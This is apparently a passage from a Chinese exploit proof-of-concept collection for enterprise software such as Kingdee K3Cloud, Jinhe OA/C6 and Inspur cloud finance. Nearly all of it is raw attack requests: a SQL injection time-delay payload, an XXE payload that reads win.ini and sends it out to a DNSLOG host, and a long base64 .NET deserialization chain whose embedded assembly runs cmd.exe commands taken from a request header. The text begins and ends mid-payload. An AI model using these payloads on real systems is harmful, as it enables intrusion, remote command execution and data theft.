/k3cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm
.common.kdsvc HTTP/1.1
cmd:dir

{"ap0":"AAAAAAAA"}
```

金和OA ModuleTaskView.aspx SQL注入

poc

```
POST /c6/Jhsoft.Web.dailytaskmanage/ModuleTaskView.aspx/ HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded

_ListPage1LockNumber=1&_ListPage1RecordCount=0&__VIEWSTATE=xxxxx&__VIEWSTATEGENERATOR=09
BBB40C&__EVENTTARGET=&__EVENTARGUMENT=&OriginModule=crmexec&OriginID='WAitFor+DelaY'0:0:
5'--
```

金和C6 CheckPwd.aspx XML外部实体注入

poc

```
POST /C6/JHSoft.Web.WorkFlat/CheckPwd.aspx/ HTTP/1.1
Host: <TARGET_HOST>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/102.0.2852.25 Safari/537.36
Content-Type: application/xml
Content-Length: 199
Connection: close

<?xml version="1.0"?>
```

```
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % remote SYSTEM "http://<DNSLOG>">
%remote;
%all;
]><root>&send;</root>
```

金华迪加 现场大屏互动系统ajax_act_get_data存在SQL注入

poc:

https://vip.bdziyi.com/58465/

金华迪加 现场大屏互动系统index存在SQL注入

poc

https://vip.bdziyi.com/58467/

浪潮云财务系统命令执行漏洞

poc

```
POST /cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx
HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://tempuri.org/GetChildFormAndEntityList"
        cmd: path

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetChildFormAndEntityList xmlns="http://tempuri.org/">
              <baseFormID>validStringID</baseFormID>
              <baseEntityID>validStringID</baseEntityID>

<strFormAssignment>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvb
j00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTe
XN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPA
wAAAMctAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW
1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS
2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAA
AoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GB
```

```
wMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uP
TQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c
3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b
3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0Z
W0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEA
AAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJG
gAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zL
khhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpe
mUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjd
GlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAAEAAAAk1akAADAAAAB
AAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4A
UzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAAAUEUAAEwBAwBrydRkA
AAAAAAAAADgAAIhCwELAAAIAAAABgAAAAAAAN4mAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAA
AAAgAAAAAIAAAAAAAADAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAACQJgAASwAAAABAAACoAgAAA
AAAAAAAAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAACAAAAgAAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAA
AAAAAAAAAAgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgA
AAAAgAAAA4AAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAwCYAAAAAAABIAAAAAgAFADAhAABgBQAAA
QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbMAMAwwAAAAEAA
BECKAMAAAooBAAACgoGbwUAAApvBgAACgZvBwAACm8IAAAKcwkAAAoLB28KAAAKcgEAAHBvCwAACgZvDAAACm8NA
AAKchEAAHBvDgAACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RAAAKB28KAAAKF28SAAAKB28KAAAKF
m8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt4ABm8HAAAKbxgAAAoGbwcAAApvGQAACioAA
RAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCA
AAjU3RyaW5ncwAAAACcBAAAJAAAACNVUwDABAAAEAAAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAAACAAABR
xQCAAkAAAAA+iUzABYAAAEAAAAOAAAAAgAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAAACgABAAAAAAAGACkAI
gAGAFYANgAGAHYANgAKAKgAnQAKAMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZwEGAK8BIgAGACQCG
gIGAEQCGgIGAGkCIgAAAAAAAQAAAAAAAQABAAAAEAAXAAAABQABAAEAUCAAAAAAhhgwAAoAAQARADAADgAZADAAC
gAJADAACgAhALQAHAAhANIAIQApAN0ACgAhAPUAJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJoBO
gBRAKYBPwBZALYBRABBAL0BMABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkCMAAxAF8CC
gAxAGUCCgAuAAsAZQAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAAABABkAAAAAAAQAA
AAAAAAAAAAAABMAnQAAAAAABAAAAAAAAAAAAAAAAAQAiAAAAAAAAAAAA8TW9kdWxlPgBrd3V3YWNwdy5kbGwARQBtc
2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsY
XRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBrd3V3YWNwdwBTe
XN0ZW0uV2ViAEh0dHBDb250ZXh0AGdldF9DdXJyZW50AEh0dHBTZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlY
XJFcnJvcgBIdHRwUmVzcG9uc2UAZ2V0X1Jlc3BvbnNlAENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzA
FByb2Nlc3NTdGFydEluZm8AZ2V0X1N0YXJ0SW5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3QAZ2V0X1JlcXVlc
3QAU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24AZ2V0X0hlYWRlcnMAZ
2V0X0l0ZW0AU3RyaW5nAENvbmNhdABzZXRfQXJndW1lbnRzAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNld
F9SZWRpcmVjdFN0YW5kYXJkRXJyb3IAc2V0X1VzZVNoZWxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtU
mVhZGVyAGdldF9TdGFuZGFyZE91dHB1dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZ
XB0aW9uAAAAD2MAbQBkAC4AZQB4AGUAAAdjAG0AZAAAABy8AYwAgAAAAAAAA2IZXU/G1oT7AM+EyvNpdOAAi3elxWG
TTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EIAASJQQgABIpBCABDg4FAAIOD
g4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd
3MBAAAAuCYAAAAAAAAAAAAAAziYAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAmAAAAAAAAAAABfQ29yRGxsTWFpb
gBtc2NvcmVlLmRsbAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAA
IAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAATAIAAAAAAAAAAAAAT
AI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAAAAD8AA
AAAAAAABAAAAAIAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAc
gBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAIgBA
AABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAM
AAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAAPAANAAEASQBuAHQAZQByAG4AY
QBsAE4AYQBtAGUAAABrAHcAdQB3AGEAYwBwAHcALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAc
gBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABrAHcAdQB3AGEAY
wBwAHcALgBkAGwAbAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AM
```

AAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDwAAA
B9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBA
AEIBiEAAAD+AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU
3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZ
XlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZ
XJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dB
AAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5V
G9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAAAACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJ
QAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0Z
W0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsL
CBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVud
W1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhb
CwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDd
Wx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAA
AkEAAAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXa
GVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyY
WJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQd
WJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1c
mU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZ
W5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0d
XJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249N
C4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAA
AAQFAAAAAcAAAAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVud
W1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVya
WMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9b
mV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuM
C4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZ
SwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhN
WM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAAD
wAAAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW
1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tle
VRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wL
CBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAAB
wAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb
2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9b
mV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAAAAC
AEACAEACAEACAgAAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lc
lZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5V
G9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c
3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3Jsa
WIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlM
Dg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAACUEAAAAEJAAAACJTeXN0Z
W0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnY
XRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZ
XJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAA

TAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAAC
U4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAA
AAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hb
WUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0Z
UVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wL
jAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbF1N5c3RlbS5SZWZsZ
WN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY
0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZ
W1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZ
GVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZ
RBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3Rlb
S5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5I
ExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmb
GVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsa
WNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFib
GVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVib
GljS2V5VG9rZW49bnVsbF1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1P
W5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZ
XRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAA
BhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0Z
W0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb
249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY
29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbF1dCBtc
2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2M
TkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb
2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpY
y5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZ
XV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQ
wAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU
3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51b
WVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsL
CBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGa
AAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzd
GVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZ
W49YjczZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb
249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAA
AoJPgAAAAZqAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAA
